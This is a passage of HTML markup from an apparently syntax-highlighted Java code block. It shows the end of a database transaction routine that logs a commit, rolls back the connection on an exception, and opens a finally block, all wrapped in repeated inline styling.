logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">debug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"commit successfully!"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">catch</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Exception</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> e</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">debug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"conn.isClose():"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> conn</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">isClosed</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">());</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">if</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">conn </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">!=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">null</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">&&</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">!</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">conn</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">isClosed</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">())</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
conn</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">rollback</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">error</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">e</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getMessage</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(),</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> e</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">finally</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">if</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">conn </span><span class="pun" style="background-attachment: 